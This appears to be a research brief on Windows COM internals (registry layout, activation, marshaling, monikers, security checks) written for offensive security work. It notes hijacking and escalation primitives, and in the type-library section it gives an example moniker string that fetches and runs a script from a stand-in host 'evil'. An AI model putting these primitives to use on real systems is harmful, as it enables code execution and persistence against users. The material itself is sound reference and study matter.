Files
An0nUD4Y-Offensive-COM/research/R1-internals.md
T
2026-07-18 21:50:11 +05:30

52 KiB
Raw Blame History

R1 — COM Internals Fundamentals (research brief)

1. What COM is and why it matters to an attacker

COM (Component Object Model, 1993) is Windows' binary-level component standard: a way for code in one binary (or process, or machine, or session, or integrity level) to call code in another through interfaces, without caring about compiler, language, or location. It is the substrate under OLE, ActiveX, DirectX, WMI, the shell, Office automation, WinRT, UAC, and most Microsoft management tooling. Practically every Windows process loads combase.dll/ole32.dll; thousands of COM classes are registered by default; and activation is driven entirely by the registry, which is why COM is simultaneously (a) the richest execution/persistence/escalation attack surface on Windows and (b) almost invisible to file-less-malware defenses.

Key security property that everything else follows from: the mapping from a 128-bit class GUID to executable code lives in HKCR\CLSID, and HKCR is a merged view where per-user (HKCU\Software\Classes) registrations silently override system (HKLM\Software\Classes) ones. COM trusts that mapping; attackers edit it.

Core runtime components

Binary / service Role
combase.dll Modern client-side COM runtime (CoCreateInstance, activation, marshaling, security). Most legacy ole32.dll exports forward here.
ole32.dll Legacy runtime (OLE1/OLE2 embedding, monikers, ROT, clipboard); forwards most Co* APIs to combase.
oleaut32.dll Automation: VARIANT, BSTR, SAFEARRAY, type libraries, the universal (TypeLib-driven) marshaler, IDispatch.
rpcss.dll The COM "SCM"/activator, ROT store, OXID resolver, endpoint mapper support. Runs inside the RpcSs service (svchost -k rpcss).
svchost -k DcomLaunch DCOM Server Process Launcher — starts out-of-process COM servers (LocalServer32 EXEs, services, dllhost.exe surrogates).
dllhost.exe /Processid:{AppID} Default surrogate process that hosts in-proc DLL classes out-of-process when an AppID has a DllSurrogate value (empty = default).

2. The object model

2.1 Interfaces = vtables (binary contract)

A COM "interface" is nothing more than a pointer to a vtable — an array of function pointers in a fixed order, forever. C++ abstract-base-class layout is the canonical mapping:

Client holds:   pItf ──► [ vptr ] ──► vtable[0] = QueryInterface
                                      vtable[1] = AddRef
                                      vtable[2] = Release
                                      vtable[3] = <first interface-specific method>

Rules that make COM a binary standard: method order never changes; an interface is immutable once published (identified by an IID); all methods return HRESULT; the first 3 slots are always IUnknown.

IUnknown — IID {00000000-0000-0000-C000-000000000046}:

struct IUnknown {
    virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid, void **ppvObject) = 0;
    virtual ULONG   STDMETHODCALLTYPE AddRef(void) = 0;
    virtual ULONG   STDMETHODCALLTYPE Release(void) = 0;   // object self-destructs at refcount 0
};
  • QueryInterface is the only discovery mechanism: ask an object "do you implement IID X?" — rules: reflexive, symmetric, transitive; QI(IID_IUnknown) must always return the same pointer (object identity).
  • Multiple interfaces on one object = multiple vptrs (C++ multiple inheritance with adjusting thunks). IUnknown appears once per base vtable, but identity is preserved via the primary IUnknown.

HRESULT is a 32-bit structured code: bit31 = severity (1 = failure), bits 1626 = facility (1=RPC, 2=Dispatch, 3=Storage, 4=ITF/interface-specific, 7=Win32), bits 015 = code. Relevant constants: S_OK=0, S_FALSE=1, E_NOINTERFACE=0x80004002, E_POINTER=0x80004003, E_ACCESSDENIED=0x80070005, REGDB_E_CLASSNOTREG=0x80040154, MK_E_SYNTAX, CO_E_ELEVATION_DISABLED, CO_E_MISSING_DISPLAYNAME, CO_E_RUNAS_VALUE_MUST_BE_AAA (elevation errors), RPC_E_CHANGED_MODE (apartment conflict).

2.2 IDispatch — late binding for script (the automation engine)

IID {00020400-0000-0000-C000-000000000046} — vtable slots 36:

HRESULT GetTypeInfoCount(UINT *pctinfo);
HRESULT GetTypeInfo(UINT iTInfo, LCID lcid, ITypeInfo **ppTInfo);
HRESULT GetIDsOfNames(REFIID riid, LPOLESTR *rgszNames, UINT cNames, LCID lcid, DISPID *rgDispId);
/* [local] */ HRESULT Invoke(DISPID dispIdMember, REFIID riid, LCID lcid, WORD wFlags,
                             DISPPARAMS *pDispParams, VARIANT *pVarResult,
                             EXCEPINFO *pExcepInfo, UINT *puArgErr);
/* wire: [call_as(Invoke)] RemoteInvoke(..., UINT cVarRef, UINT *rgVarRefIdx, VARIANTARG *rgVarRef) */
  • Callers pass names (GetIDsOfNames → numeric DISPID) then Invoke(DISPID, args-as-VARIANT-array). This is what New-Object -ComObject, VBScript CreateObject, JScript, VBA and IDispatch-only clients use.
  • A dual interface exposes both a custom vtable and IDispatch — marked dual in IDL, described by a type library.
  • wFlags: DISPATCH_METHOD=0x1, DISPATCH_PROPERTYGET=0x2, DISPATCH_PROPERTYPUT=0x4, DISPATCH_PROPERTYPUTREF=0x8. DISPPARAMS = { VARIANTARG *rgvarg; DISPID *rgdispidNamed; UINT cArgs; UINT cNamedArgs; } — arguments are passed in reverse order.
  • Attack relevance: any class registered with Programmable + a dual interface is scriptable code execution plumbing (WScript.Shell {72C24DD5-D70A-438B-8A42-98424B88AFB8}, Shell.Application {13709620-C279-11CE-A49E-444553540000}, MMC20.Application {49B2791A-B1AE-4C90-9B8E-E860BA07F889}, Office *.Application, InternetExplorer.Application {0002DF01-0000-0000-C000-000000000046}, Scripting.FileSystemObject {0D43FE01-F093-11CF-8940-00A0C9054228}, Schedule.Service {0F87369F-A4E5-4CFC-BD3E-73E6154572DD}).

2.3 Class factories

Every creatable class exposes a class object implementing IClassFactory — IID {00000001-0000-0000-C000-000000000046}:

HRESULT CreateInstance(IUnknown *pUnkOuter, REFIID riid, void **ppvObject); // pUnkOuter ≠ NULL only for aggregation
HRESULT LockServer(BOOL fLock);   // pin server in memory

(IClassFactory2 {B196B28F-BAB4-101A-B69C-00AA00341D07} adds licensing: GetLicInfo, RequestLicKey, CreateInstanceLic.)

Aggregation vs containment: CoCreateInstance(..., pUnkOuter, ...) passes a controlling outer IUnknown; inner object delegates its IUnknown to the outer (identity fusion) while keeping private inner vtables. Aggregation bugs (identity confusion, blind-AddRef/Release) are a classic LPE bug class ("trapped objects").


3. Identity: GUIDs and friends

Everything in COM is named by a GUID: 16 bytes, string form {XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX} (Data1 u32, Data2/Data3 u16, Data4 u8[8]; generated by CoCreateGuid/UuidCreate, version-4 random). String↔binary: CLSIDFromString/IIDFromString/StringFromGUID2, StringFromCLSID.

Name Identifies Registry home
CLSID a class (implementation) HKCR\CLSID\{CLSID}
IID an interface (vtable contract) HKCR\Interface\{IID}
AppID deployment/security group of classes HKCR\AppID\{AppID}
ProgID human-readable class alias, Vendor.Component[.Version], ≤39 chars HKCR\<ProgID>
LIBID a type library + version (major.minor) HKCR\TypeLib\{LIBID}\<ver>
CATID component category (e.g. "Insertable control") HKCR\Component Categories\{CATID}

Conversions: CLSIDFromProgID (reads HKCR\<ProgID>\CLSID), ProgIDFromCLSID (reads HKCR\CLSID\{CLSID}\ProgID), VersionIndependentProgID + CurVer chain. Uniqueness is by convention only — nothing validates collisions → ProgID squatting is trivial.


4. Registry layout (the COM "database")

4.1 The merged view — the single most important security fact

HKEY_CLASSES_ROOT is not a real hive; it is a merged view of:

  • HKLM\SOFTWARE\Classes (system-wide; admin/TrustedInstaller to write)
  • HKCU\SOFTWARE\Classes (per-user; writable by the unprivileged user)

Per-user keys win in the merged view. Writes to HKCR from a standard user are silently redirected to HKCU\Software\Classes. This applies to CLSID, AppID, Interface, TypeLib, ProgIDs and file associations → the entire CLSID→code resolution can be shadowed per-user with no privileges. This is the root primitive of COM hijacking (persistence/UAC-bypass chapters).

64-bit vs 32-bit: HKCR\WOW6432Node\CLSID (and WOW6432Node\AppID, WOW6432Node\Interface, WOW6432Node\TypeLib) hold 32-bit registrations; 32-bit processes writing HKLM\SOFTWARE\Classes\CLSID are redirected there. COM bitness must match the client unless an out-of-proc server or PreferredServerBitness (AppID value, 1=32-bit, 2=64-bit) is used; CLSCTX_ACTIVATE_32_BIT_SERVER=0x40000 / CLSCTX_ACTIVATE_64_BIT_SERVER=0x80000 force it.

4.2 HKCR\CLSID\{CLSID} — anatomy

HKCR\CLSID\{XXXXXXXX-...}
  (Default)                     = "Friendly class name"
  AppID                         = "{AppID-GUID}"            (value; links to security config)
  LocalizedString               = "@C:\path\to.dll,-101"    (value; MUI name for UAC consent)
  \InprocServer32
      (Default)                 = "C:\...\server.dll"
      ThreadingModel            = "" | "Apartment" | "Free" | "Both" | "Neutral"
  \LocalServer32
      (Default)                 = "C:\...\server.exe"  (may include args)
      ServerExecutable          = "C:\...\server.exe"  (optional)
  \InprocHandler32              = handler DLL (handler marshaling)
  \ProgID                       = "Vendor.Component.1"
  \VersionIndependentProgID     = "Vendor.Component"
  \TypeLib                      = "{LIBID}"
  \TreatAs                      = "{OtherCLSID}"   (full emulation redirect — checked FIRST)
  \AutoTreatAs                  = "{OtherCLSID}"   (auto version-update redirect)
  \Control / \Insertable / \Programmable   (marker subkeys)
  \Implemented Categories\{CATID}
  \DefaultIcon, \ToolboxBitmap32, \MiscStatus, \Version, \Verb
  \Elevation
      Enabled                   = 1 (DWORD; class is LUA/auto-elevation capable)
      IconReference             = "@path,-resid"

ThreadingModel semantics: (absent) = legacy single-threaded → object must live in the first (main) STA of the process; Apartment = any STA; Free = MTA only; Both = same apartment as client (STA or MTA); Neutral = thread-neutral apartment (COM+). Wrong model ⇒ COM spins up a different apartment and marshals (cross-apartment call via proxy).

4.3 HKCR\AppID\{AppID} — security configuration

Named values (binary ACLs are self-relative SECURITY_DESCRIPTORs, editable in dcomcnfg.exe → Component Services → DCOM Config):

Value Meaning
(Default) Friendly name
LaunchPermission Binary ACL: who may activate (checked by RPCSS at launch)
AccessPermission Binary ACL: who may call (checked in server process at first access / by CoInitializeSecurity default)
AuthenticationLevel DWORD override of RPC_C_AUTHN_LEVEL_*
RunAs "Interactive User" or a user name → server runs as that identity (absent = launching user); cross-session activation when set to Interactive User
LocalService + ServiceParameters Run as a Windows service (SCM start)
DllSurrogate Custom surrogate path; empty string = default dllhost.exe
RemoteServerName Default remote host (legacy)
ActivateAtStorage DWORD 1 = activate where persistent data lives
ROTFlags DWORD 1 = allow any client ROT visibility
AppIDFlags e.g. APPIDREGFLAGS_AAA_NO_IMPERSONATE=0x8
PreferredServerBitness 1 = 32-bit, 2 = 64-bit
LoadUserSettings load user hive in server
Endpoints restrict RPC protocol sequences (multi_sz)
\Elevation\Enabled=1 (under CLSID, see 4.2) auto-elevate capable

Also HKCR\AppID\<program.exe> (named after the EXE) with value AppID={guid} maps an EXE to its AppID. AppIDs are also where elevation marking and DCOM reachability come from: a class with no AppID cannot be launched remotely and cannot elevate.

4.4 HKCR\Interface\{IID} — marshaling glue

HKCR\Interface\{IID}
  (Default)            = "IMyInterface"
  \ProxyStubClsid32    = "{CLSID of the proxy/stub DLL}"   <- loaded into BOTH client & server processes
  \ProxyStubClsid      = 16-bit legacy
  \NumMethods          = "7"
  \BaseInterface       = "{IID of parent}"
  \TypeLib             = "{LIBID}" (+ \Version)
  • ProxyStubClsid32 = {00020424-0000-0000-C000-000000000046} (PSOAInterface, the oleaut32 "universal marshaler") ⇒ interface is marshaled TypeLib-driven (requires [oleautomation]-compatible types). PSDispatch = {00020420-0000-0000-C000-000000000046} does the same for pure IDispatch.
  • Otherwise the CLSID points at a MIDL-generated proxy/stub DLL (which itself has a HKCR\CLSID entry with InprocServer32).
  • Attack note: this key is the marshaling trust anchor — a per-user ProxyStubClsid32 shadow injects a DLL into every process that marshals that interface, including privileged COM servers.

4.5 HKCR\TypeLib\{LIBID} — type libraries

HKCR\TypeLib\{LIBID}
  \<major.minor>          (Default) = "MyLib 1.0 Type Library"
      \0\win32            (Default) = "C:\...\lib.tlb"     (0 = LCID-neutral)
      \0\win64            (Default) = 64-bit tlb
      \9\win32            (Default) = LCID 9 (en-US) localized tlb
      \FLAGS              = "0"  (LIBFLAG: 1=RESTRICTED, 2=CONTROL, 4=HIDDEN, 8=HASDISKIMAGE)
      \HELPDIR            = path

APIs: LoadTypeLib(path) / LoadTypeLibEx, LoadRegTypeLib(LIBID, wVerMajor, wVerMinor, lcid), RegisterTypeLib/UnRegisterTypeLib, QueryPathOfRegTypeLib. Type libraries are binary (magic MSFT = 0x5446534D) or embedded in PEs as TYPELIB resources; stdole2.tlb/stdole32.tlb are the system ones. LoadTypeLib quirk (Outflank research): if the path is not a standalone/embedded TLB, the string is parsed as a moniker display name"script:http://evil/x.sct" reaches the script moniker → code execution from a "data" API. This underpins both TypeLib hijacking (persistence chapter) and VS poisoning attacks.

4.6 Machine-wide OLE policy — HKLM\SOFTWARE\Microsoft\Ole

Value Meaning
EnableDCOM ("Y"/"N") Master remote-activation switch
EnableRemoteConnect ("Y"/"N") Remote access (non-activation) switch
DefaultLaunchPermission / DefaultAccessPermission Binary ACLs used when an AppID omits its own
MachineLaunchRestriction / MachineAccessRestriction Hard ceiling ACLs applied to every activation/access
LegacyAuthenticationLevel (DWORD) Process default when app doesn't call CoInitializeSecurity (2=CONNECT; raised to PKT_INTEGRITY=5 by hardening)
LegacyImpersonationLevel (DWORD) Default client impersonation level (commonly 2=Identify; many vendor hardening scripts set 3=Impersonate)
AppCompat\RequireIntegrityActivationAuthenticationLevel (DWORD) CVE-2021-26414 kill-switch: 1 = DCOM servers reject activation below RPC_C_AUTHN_LEVEL_PKT_INTEGRITY
AppCompat\RaiseActivationAuthenticationLevel (DWORD) 2 = clients auto-raise non-anonymous activation to PKT_INTEGRITY (Nov 2022)

4.7 Registration-free COM (SxS)

Classes can be registered in an activation-context manifest instead of the registry: <file><comClass clsid="..." threadingModel="..." tlbid="..." progid="..."/></file>, <comInterfaceExternalProxyStub iid="..." proxyStubClsid32="...">, <typelib tlbid="...">. Driven by CreateActCtx/ActivateActCtx; Windows itself ships manifests under %WinDir%\WinSxS\Manifests (.NET/isolated COM). Lookup order during activation: active activation context → process manifest → application manifest → registry. Attack relevance: reg-free entries are invisible to naive HKCR hunting and are a stealthy hijack/persistence path (an attacker-controlled manifest for a hijacked CLSID needs no registry write at all).


5. Activation internals (step by step)

5.1 Client-side APIs (exact signatures)

HRESULT CoInitializeEx(LPVOID pvReserved, DWORD dwCoInit);
//  dwCoInit: COINIT_MULTITHREADED=0x0 | COINIT_APARTMENTTHREADED=0x2
//            | COINIT_DISABLE_OLE1DDE=0x4 | COINIT_SPEED_OVER_MEMORY=0x8
HRESULT CoCreateInstance(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID *ppv);
HRESULT CoGetClassObject(REFCLSID rclsid, DWORD dwClsContext, LPVOID pvReserved, REFIID riid, LPVOID *ppv);
HRESULT CoCreateInstanceEx(REFCLSID rclsid, IUnknown *punkOuter, DWORD dwClsCtx,
                           COSERVERINFO *pServerInfo, DWORD dwCount, MULTI_QI *pResults);
//  COSERVERINFO { DWORD dwReserved1; LPWSTR pwszName; COAUTHINFO *pAuthInfo; DWORD dwReserved2; }
//  MULTI_QI     { const IID *pIID; IUnknown *pItf; HRESULT hr; }
HRESULT CoGetObject(LPCWSTR pszName, BIND_OPTS *pBindOptions, REFIID riid, void **ppv);
HRESULT CLSIDFromProgID(LPCOLESTR lpszProgID, LPCLSID lpclsid);

CoCreateInstance literally expands to: CoGetClassObject(clsid, ctx, NULL, IID_IClassFactory, &pCF); pCF->CreateInstance(pUnkOuter, riid, ppv); pCF->Release();

CLSCTX (wtypes.h): INPROC_SERVER=0x1, INPROC_HANDLER=0x2, LOCAL_SERVER=0x4, INPROC_SERVER16=0x8, REMOTE_SERVER=0x10, INPROC_HANDLER16=0x20, NO_CODE_DOWNLOAD=0x400, NO_CUSTOM_MARSHAL=0x1000, ENABLE_CODE_DOWNLOAD=0x2000, NO_FAILURE_LOG=0x4000, DISABLE_AAA=0x8000, ENABLE_AAA=0x10000, FROM_DEFAULT_CONTEXT=0x20000, ACTIVATE_32_BIT_SERVER=0x40000, ACTIVATE_64_BIT_SERVER=0x80000, ENABLE_CLOAKING=0x100000, APPCONTAINER=0x400000, ACTIVATE_AAA_AS_IU=0x800000, PS_DLL=0x80000000; composites ALL=0x17, SERVER=0x15.

5.2 In-process activation (CLSCTX_INPROC_SERVER)

  1. combase resolves HKCR\CLSID\{clsid}: TreatAs/AutoTreatAs first (recursive redirect), then the SxS activation context, then InprocServer32 (bitness-aware view).
  2. LoadLibraryW(server.dll) (subject to DLL search order + KnownDLLs + Safer/AppLocker).
  3. GetProcAddress("DllGetClassObject") → call DllGetClassObject(rclsid, riid, &pv) — every COM DLL exports DllGetClassObject, DllCanUnloadNow, optionally DllRegisterServer/DllUnregisterServer (invoked by regsvr32.exe).
  4. Server returns its class factory; IClassFactory::CreateInstance news the object and QIs the requested IID.
  5. Unload path: CoFreeUnusedLibraries periodically calls DllCanUnloadNowS_OKFreeLibrary.

Attack surface at each step: TreatAs redirect (no DLL load of the real class), phantom InprocServer32 path (plant DLL), search-order planting, unsigned DLL load into arbitrary (incl. elevated/PPL-adjacent) processes, refcount/UAF bugs in unload.

5.3 Local out-of-process activation (CLSCTX_LOCAL_SERVER)

  1. combase sees no (or excluded) in-proc server → asks the activator over ALPC/LRPC: in modern Windows this is the ISystemActivator/IRemoteSCMActivator interface, GUID {000001A0-0000-0000-C000-000000000046}, implemented by rpcss.dll (and mirrored in-process in combase for the local fast path).
  2. RPCSS validates: HKLM\...\Ole!MachineLaunchRestriction → AppID LaunchPermission (or DefaultLaunchPermission) → identity selection:
    • default launching user (server started with caller's token),
    • RunAs = specific user (prompted/stored credentials) or Interactive User (server in the currently-logged-on session — cross-session primitive),
    • LocalService = start service via SCM.
  3. RPCSS (via DcomLaunch) starts the process: LocalServer32 command line with the -Embedding switch, or dllhost.exe /Processid:{AppID} for surrogates, or the service.
  4. The server process: CoInitializeEx → creates its class factories → CoRegisterClassObject(clsid, pCF, CLSCTX_LOCAL_SERVER, REGCLS_*, &dwCookie) — registration lands in RPCSS's class table. Flags: REGCLS_SINGLEUSE=0 (one activation then dead), MULTIPLEUSE=1, MULTI_SEPARATE=2, SUSPENDED=4 (register all, then CoResumeClassObjects() atomically), SURROGATE=8.
  5. RPCSS marshals the class-factory reference (OBJREF) back to the client.
  6. Client unmarshals → proxy for IClassFactoryCreateInstance call goes over ORPC → server returns the requested interface pointer, again as an OBJREF; client builds the interface proxy/stub chain (from HKCR\Interface\{IID}\ProxyStubClsid32).
  7. Lifetime: client holds refs; server stays alive until last external ref + LockServer count drop → server calls CoRevokeClassObject and exits.

5.4 Remote activation (DCOM)

Client passes COSERVERINFO{pwszName="HOST"} (or RemoteServerName, or an ActivateAtStorage/moniker path): local RPCSS forwards to remote host TCP 135IRemoteSCMActivator opnums:

  • RemoteGetClassObject (3), RemoteGetInstanceFromFile (4), RemoteGetInstanceFromStorage (5), RemoteCreateInstance (6).

Parameters are marshaled activation-property blobs (IActivationPropertiesIn/Out containing IInstantiationInfo{CLSID, CLSCTX, IID array}, ISecurityInfo{authn/authz levels}, IActivationPropertiesOutPropsOutInfo { DWORD cifs; IID *piid; HRESULT *phr; MInterfacePointer **ppIntfData; }), where MInterfacePointer = { ULONG ulCntData; byte abData[]; } is a little-endian OBJREF. After activation, method calls flow over dynamic RPC ports negotiated via IOXIDResolver. Windows Firewall exception group: "COM+ Network Access"/DCOM TCP135 + dynamic range.

The CoCreateInstanceEx DCOM path is what lateral movement rides on: MMC20.Application, ShellWindows, ShellBrowserWindow, ExcelDDE, Visio, Outlook, the Control Panel abuse (Securelist), etc.

5.5 Moniker-based activation

CoGetObject(name, bindopts, iid, ppv) = MkParseDisplayName + BindToObject. Display-name parsing: prefix before the first : is resolved as a ProgID → class implementing IParseDisplayName ({0000001A-0000-0000-C000-000000000046}) builds the moniker (e.g. clsid:, new:, session:, Elevation:, script:, queue:, soap:); otherwise a file path builds a FileMoniker; ! composes monikers into a CompositeMoniker {00000309-0000-0000-C000-000000000046} (right-to-left bind; the left part becomes pmkToLeft).


6. Marshaling and the DCOM wire

6.1 Proxy/stub architecture

When caller and object are in different apartments/processes/machines, COM splits the call:

  • Proxy (client side, IRpcProxyBuffer) packs arguments (NDR) → channel (IRpcChannelBuffer over RPC runtime) →
  • Stub (server side, IRpcStubBuffer::Invoke) unpacks, calls the real method, packs the return.
  • Factory: IPSFactoryBuffer (GetProxyIID, CreateProxy, CreateStub), registered via HKCR\Interface\{IID}\ProxyStubClsid32.

Three marshaling flavors, recorded in the OBJREF flags:

  1. Standard (0x1): MIDL-generated PS DLL, or the universal marshaler (PSOAInterface {00020424-...}) which marshals any [oleautomation] interface by reading its TypeLib at runtime.
  2. Handler (0x2): light client-side handler DLL (InprocHandler32) + standard reference.
  3. Custom (0x4): object implements IMarshal ({00000003-0000-0000-C000-000000000046}: GetUnmarshalClass, GetMarshalSizeMax, MarshalInterface, UnmarshalInterface, ReleaseMarshalData, DisconnectObject). OBJREF_CUSTOM carries {CLSID of unmarshal class, cbExtension, size, pData[]} — an attacker-controlled blob deserialized by IMarshal::UnmarshalInterface of an arbitrary registered class. This is the Forged-OLEData/relay bug class (cf. POTATO-style CoGetInstanceFromIStorage OBJREF forgery, and EOAC_NO_CUSTOM_MARSHAL/CLSCTX_NO_CUSTOM_MARSHAL mitigations).
  • Client-side convenience APIs: CoMarshalInterface, CoUnmarshalInterface, CoMarshalInterThreadInterfaceInStream + CoGetInterfaceAndReleaseStream, CoCreateFreeThreadedMarshaler (FTM CLSID {00000333-0000-0000-C000-000000000046} — a custom marshaler whose blob is just the raw pointer; neutralizes apartment checks; a classic source of "marshaled" objects being callable from any thread), and the Global Interface Table (service-wide cookie↔pointer store: IGlobalInterfaceTable {00000146-0000-0000-C000-000000000046} on CLSID_StdGlobalInterfaceTable {00000323-0000-0000-C000-000000000046}; RegisterInterfaceInGlobal/GetInterfaceFromGlobal/RevokeInterfaceFromGlobal).

6.2 OBJREF — the marshaled interface pointer (on the wire: MEOW)

typedef struct tagOBJREF {
    unsigned long signature;   // 0x574F454D == 'MEOW' (little-endian)
    unsigned long flags;       // OBJREF_STANDARD=0x1 | HANDLER=0x2 | CUSTOM=0x4 | EXTENDED=0x8
    GUID          iid;         // IID being marshaled
    union {
        struct { STDOBJREF std; DUALSTRINGARRAY saResAddr; }                    u_standard;
        struct { STDOBJREF std; CLSID clsid; DUALSTRINGARRAY saResAddr; }       u_handler;
        struct { CLSID clsid; unsigned long cbExtension, size; byte *pData; }   u_custom;
        struct { STDOBJREF std; unsigned long Signature1; DUALSTRINGARRAY saResAddr;
                 unsigned long nElms; unsigned long Signature2; DATAELEMENT ElmArray; } u_extended;
    } u_objref;
} OBJREF;

typedef unsigned __int64 OXID;   // object exporter  (per apartment+protocol, machine-unique)
typedef unsigned __int64 OID;    // object identity  (per exporter)
typedef GUID             IPID;   // interface pointer (per object)

typedef struct tagSTDOBJREF {
    unsigned long flags;        // SORF_* (SORF_NOPING=0x1000)
    unsigned long cPublicRefs;  // refcounts transferred with this marshaling
    OXID oxid; OID oid; IPID ipid;
} STDOBJREF;

typedef struct tagSTRINGBINDING   { unsigned short wTowerId;       /* 0x07=ncacn_ip_tcp, 0x1F=ncacn_http */
                                    unsigned short aNetworkAddr; } STRINGBINDING;   // zero-terminated
typedef struct tagSECURITYBINDING { unsigned short wAuthnSvc;      /* 0x0A=NTLM(WinNT), 0x09=Kerberos, 0xFFFF=none */
                                    unsigned short wAuthzSvc; unsigned short aPrincName; } SECURITYBINDING;
typedef struct tagDUALSTRINGARRAY { unsigned short wNumEntries; unsigned short wSecurityOffset;
                                    unsigned short aStringArray[]; } DUALSTRINGARRAY;

MEOW is trivially greppable in packet captures and memory — the universal indicator of a marshaled COM reference (useful for both offense, e.g. carving OBJREFs, and detection rules).

6.3 ORPC call flow, OXID resolution, liveness

  1. Client unmarshals OBJREF → needs the exporter's RPC bindings: calls IOXIDResolver (a.k.a. IObjectExporter, UUID {99FCFEC4-5260-101B-BBCB-00AA0021347A}, on the exporter machine via RPCSS/135) → ResolveOxid2(oxid, cRequestedProtseqs, arRequestedProtseqs[], &dsa, &ipidRemUnknown, &authnHint, &comVersion) returns the string bindings (dynamic TCP port).
  2. Calls are normal MS-RPCE with an ORPC extension (ORPCTHIS/ORPCTHAT: causality GUID, extensions) to the resolved endpoint, dispatched by IPID → stub manager → interface stub → apartment → method. Standard IPIDs: IRemUnknown {00000131-0000-0000-C000-000000000046} (RemQueryInterface, RemAddRef, RemRelease) and IRemUnknown2 {00000143-...} handle remote QI/refcounting.
  3. Pinging/liveness: IOXIDResolver::SimplePing(pingId), ComplexPing (set semantics) keep OIDs alive; missed pings ⇒ server garbage-collects stubs; client ReleaseRemRelease decrements cPublicRefs.

7. Apartments and threading (condensed but exact)

  • Thread joins COM via CoInitializeEx(NULL, COINIT_APARTMENTTHREADED=0x2)STA (one per thread; COM creates a hidden window — class OleMainThreadWndClass — whose WndProc dispatches cross-apartment calls) or COINIT_MULTITHREADED=0x0MTA (one per process). A thread that never initializes is in the implicit MTA once the process has COM. RPC_E_CHANGED_MODE on re-init conflicts.
  • STA owners must pump messages (GetMessage/DispatchMessage); otherwise cross-apartment calls to its objects hang (and the reverse-channel reentrancy during an outgoing call is a classic deadlock/exploit-reliability issue). MTA objects are called on arbitrary RPC thread-pool threads → must self-synchronize.
  • Cross-apartment interface passing must be marshaled (CoMarshalInterThreadInterfaceInStream, GIT) — except objects aggregating the FTM, or Neutral (TNA) components.
  • Server-side dispatch: incoming ORPC calls to an STA are posted as window messages; to an MTA, executed directly on RPC threads.

8. Monikers and the Running Object Table (detail)

IMoniker ({0000000F-0000-0000-C000-000000000046}) methods: BindToObject, BindToStorage, Reduce, ComposeWith, Enum, IsEqual, Hash, IsRunning, GetTimeOfLastChange, Inverse, CommonPrefixWith, RelativePathTo, GetDisplayName, ParseDisplayName, IsSystemMoniker. Bind context IBindCtx ({0000000E-...}) carries BIND_OPTS{cbStruct, grfFlags, grfMode, dwTickCountDeadline}, BIND_OPTS2 adds {dwTrackFlags, dwClassContext, locale, pServerInfo}, BIND_OPTS3 adds hwnd (consent-UI parent — used with elevation monikers).

System moniker catalog (CLSID / display prefix / server):

Moniker CLSID Prefix Notes
File {00000303-0000-0000-C000-000000000046} path binds via class of extension
Item {00000304-...} !item composite right part
Anti {00000305-...} inverse/cancel
Pointer {00000306-...} wraps live pointer
Composite {00000309-...} A!B left-to-right composition
Class {0000031A-...} clsid:{...} thin wrapper over CoGetClassObject/CreateInstance
New {ECABAFC6-7F19-11D2-978E-0000F8757E2A} new:{clsid} or new:ProgID instantiate via moniker (Office-blacklisted)
Session (CLSID unverified — confirm in OleViewDotNet; syntax documented) session:N!new:{clsid} activates in another logon session (cross-session LPE primitive; cf. Forshaw research / CVE-2017-0100 class)
Elevation (implemented in combase; CLSID unverified) Elevation:Administrator!new:{clsid} / Elevation:Highest!new: UAC bridge
Script {06290BD3-48AA-11D2-8432-006008C3FBFC} script:URL / scriptlet:URL scrobj.dll; downloads & runs Windows Script Component; ProgIDs script,scriptlet
Scriptlet Factory {06290BD2-...} (Scriptlet.Factory) IPersistMoniker-bindable scriptlet constructor
Queue {ECABAFC7-7F19-11D2-978E-0000F8757E2A} queue: MSMQ queued components
SOAP {ECABB0C7-7F19-11D2-978E-0000F8757E2A} soap:wsdl=... CVE-2017-8759 (.NET WSDL RCE)

ROT (IRunningObjectTable {00000010-0000-0000-C000-000000000046}, obtained via GetRunningObjectTable): per-session, hosted in RPCSS; Register(grfFlags, punk, pmkName, &dwCookie) with ROTFLAGS_REGISTRATIONKEEPSALIVE=0x1, ROTFLAGS_ALLOWANYCLIENT=0x2; GetObject, IsRunning, EnumRunning, NoteChangeTime, Revoke. GetActiveObject(clsid) consults the ROT. Abuse primitives: ROT squatting (register attacker object under a well-known display name before the legit server), ROT snooping/harvesting (enumerate other apps' objects — Office documents expose full object models), ROTFLAGS_ALLOWANYCLIENT + AppID ROTFlags for cross-integrity exposure.


9. COM security model fundamentals

9.1 CoInitializeSecurity — process-wide baseline (callable once, or first proxy call auto-invokes with registry defaults)

HRESULT CoInitializeSecurity(
  PSECURITY_DESCRIPTOR         pSecDesc,      // access SD (or AppID GUID with EOAC_APPID, or IAccessControl*)
  LONG                         cAuthSvc,      // -1 = default list
  SOLE_AUTHENTICATION_SERVICE *asAuthSvc,
  void                        *pReserved1,
  DWORD                        dwAuthnLevel,  // RPC_C_AUTHN_LEVEL_*
  DWORD                        dwImpLevel,    // RPC_C_IMP_LEVEL_*
  void                        *pAuthList,     // SOLE_AUTHENTICATION_LIST
  DWORD                        dwCapabilities,// EOAC_*
  void                        *pReserved3);

RPC_C_AUTHN_LEVEL: DEFAULT=0, NONE=1, CONNECT=2, CALL=3, PKT=4, PKT_INTEGRITY=5, PKT_PRIVACY=6. RPC_C_IMP_LEVEL: DEFAULT=0, ANONYMOUS=1, IDENTIFY=2, IMPERSONATE=3, DELEGATE=4. EOAC_*: MUTUAL_AUTH=0x1, SECURE_REFS=0x2, ACCESS_CONTROL=0x4, APPID=0x8, DYNAMIC=0x10, STATIC_CLOAKING=0x20, DYNAMIC_CLOAKING=0x40, ANY_AUTHORITY=0x80, MAKE_FULLSIC=0x100, REQUIRE_FULLSIC=0x200, AUTO_IMPERSONATE=0x400, DEFAULT=0x800, DISABLE_AAA=0x1000, NO_CUSTOM_MARSHAL=0x2000.

9.2 Where checks happen (defense-in-depth chain)

  1. Launch (RPCSS): MachineLaunchRestriction → AppID LaunchPermission (else DefaultLaunchPermission). Failure: E_ACCESSDENIED at activation (Event ID 10015/10016 family — the classic "DistributedCOM 10016" log noise).
  2. Access (first call into server): server's CoInitializeSecurity SD, else AppID AccessPermission, else DefaultAccessPermission, gated by MachineAccessRestriction.
  3. Authentication level negotiation (client vs server vs machine legacy defaults; hardening floor at PKT_INTEGRITY for activation post-CVE-2021-26414).
